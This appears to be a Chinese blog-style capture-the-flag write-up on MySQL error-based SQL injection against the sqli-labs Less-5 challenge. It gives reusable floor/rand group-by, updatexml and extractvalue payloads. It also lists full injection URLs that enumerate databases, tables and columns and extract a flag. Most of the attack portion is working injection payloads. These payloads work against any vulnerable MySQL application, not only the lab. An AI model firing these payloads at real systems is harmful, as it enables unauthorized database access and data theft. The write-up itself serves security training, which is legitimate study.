报错注入floor

判断是除了在id=1后面加引号,还可以加引号加单括号,等等…
如:id=1’
id=1’) and ‘1’=‘1’ and ‘1’=‘2’
id=1"
id=1") and ‘1’=‘1’ and ‘1’=‘2’

(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
PS:FLOOR(X)——返回不大于X的最大整数值
RAND()——返回一个随机浮点值 v ,范围在 0 到1 之间
x是什么意思,可能有些同学不太熟悉sql语句,floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一 个别名,就是x就等于floor(rand(0)*2),这样做的目的是让group by 和 floor(rand(0)*2)相遇(请原谅我这么解释)

(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, payload)

查询数据库
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 一个一个数据库查

查询数据库中的表
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=“ctftraining” limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查表中的字段
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = ‘flag’ limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查数据
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1’ and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

流浪法师12

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值